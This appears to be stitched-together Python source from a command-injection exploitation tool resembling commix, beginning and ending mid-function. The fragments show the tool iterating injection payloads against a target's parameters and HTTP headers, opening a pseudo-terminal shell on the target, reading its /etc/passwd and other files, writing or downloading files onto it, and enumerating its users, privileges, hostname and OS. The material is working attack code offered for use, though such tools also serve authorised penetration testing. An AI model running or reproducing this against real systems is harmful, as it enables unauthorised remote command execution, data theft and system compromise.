+ ".") # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") " + sys_users_list[user] + is_privileged + ".\n") output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() warn_msg = "It seems that you don't have permissions to enumerate users entries." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") sys.stdout.flush() pass except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass # Unix-like users enumeration. else: info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1: sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." print("\n" + settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user:user + 3]) if len(sys_users_list) != 0: sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] info_msg += " in '" + settings.PASSWD_FILE + "'.\n" sys.stdout.write( "\n" + settings.print_bold_info_msg(info_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL) ).sub("", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int( fields[1]) < 99: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int( fields[1]) < 65534: if int(fields[1]) == 99 or int( fields[1]) == 60001 or int( fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" else: is_privileged = "" is_privileged_nh = "" print(" (" + str(count) + ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2] + Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n") output_file.close() except ValueError: if count == 1: warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " warn_msg += "appropriate format. Thus, it is expoted as a text file." print(settings.print_warning_msg(warn_msg)) sys_users = " ".join( str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") sys.stdout.flush() pass except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response): shell = False counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results. " print(settings.print_info_msg(info_msg)) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification( url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation( url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = fb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) # Evaluate test results. output = _urllib.request.urlopen( request, timeout=settings.TIMEOUT) html_data = output.read() shell = re.findall(r"" + TAG + "", str(html_data)) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL != 0: percent = settings.info_msg info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: raise _urllib.error.HTTPError( url, 404, 'Error', {}, None) except _urllib.error.HTTPError as e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == int(menu.options.failed_tries ) and no_result == True: tmp_path = check_tmp_path( url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print("") while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " tmp_upload = _input( settings. print_question_msg( question_msg)) else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "Y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print("") raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print( settings.print_error_msg( err_msg)) pass continue else: if exit_loops == False: if settings.VERBOSITY_LEVEL == 0: if str(float_percent ) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str( float_percent ) + "%)" else: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": ", " (") + ")." if menu.options.verbose > 1: print("") print(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL != 0 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print("") else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print("") break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL != 0 and new_line: print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print("") break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print("") fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print("") # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print("") fb_enumeration.single_os_cmd_exec( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL != 0: # print("") delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL != 0: print("") if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg( question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL != 0: # print("") if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") if not shell or shell == "": if settings.VERBOSITY_LEVEL != 0: print("") err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: # if settings.VERBOSITY_LEVEL != 0: print("") # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else: sys.stdout.write("\r") sys.stdout.flush()
def file_access(url, cve, check_header, filename): #------------------------------------- # Write to a file on the target host. #------------------------------------- if menu.options.file_write: file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() raise SystemExit() if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") else: warn_msg = "It seems that '" + file_to_write + "' is not a file." sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------- # Check the file-destination #------------------------------- if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest # Execute command cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" shell, payload = cmd_exec(url, cmd, cve, check_header, filename) # Check if file exists! cmd = "ls " + dest_to_write + "" # Check if defined cookie injection. shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: info_msg = "The " + shell + Style.RESET_ALL info_msg += Style.BRIGHT + " file was created successfully!" sys.stdout.write(settings.print_bold_info_msg(info_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" warn_msg += dest_to_write + "' file." + "\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------------- # Upload a file on the target host. #------------------------------------- if menu.options.file_upload: file_to_upload = menu.options.file_upload # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as warn_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, " warn_msg += "does not exist. (" + str(warn_msg) + ")\n" sys.stdout.write(settings.print_critical_msg(warn_msg)) sys.stdout.flush() raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) # Check if file exists! cmd = "ls " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) if shell: info_msg = "The " + shell info_msg += Style.RESET_ALL + Style.BRIGHT info_msg += " file was uploaded successfully!\n" sys.stdout.write(settings.print_bold_info_msg(info_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to write the '" + dest_to_upload + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------------- # Read a file from the target host. #------------------------------------- if menu.options.file_read: file_to_read = menu.options.file_read # Execute command cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: info_msg = "The contents of file '" info_msg += file_to_read + "'" + Style.RESET_ALL + ": " sys.stdout.write(settings.print_bold_info_msg(info_msg)) sys.stdout.flush() print(shell) output_file = open(filename, "a") info_msg = "The contents of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True if settings.FILE_ACCESS_DONE == True: print("")
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) cu_account = output if cu_account: # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL == 0 and _: sys.stdout.write("\n") # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) shell = output if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") info_msg = "The current user is " + str(cu_account) output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: shell = "".join(str(p) for p in shell) if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The current user is " + str(cu_account) + "\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print(settings.print_warning_msg(warn_msg))
def enumeration(url, cve, check_header, filename): #------------------------------- # Hostname enumeration #------------------------------- if menu.options.hostname: cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: info_msg = "The hostname is " + str(shell) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The hostname is " + str(shell) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True #------------------------------- # Retrieve system information #------------------------------- if menu.options.sys_info: cmd = settings.RECOGNISE_OS target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_os: if target_os == "Linux": cmd = settings.DISTRO_INFO distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename) if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_arch: info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The target operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: info_msg = "The target operating system is " + target_os sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The target operating system is " + str(target_os) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True #------------------------------- # The current user enumeration #------------------------------- if menu.options.current_user: cmd = settings.CURRENT_USER cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) if cu_account: if menu.options.is_root: cmd = re.findall(r"" + 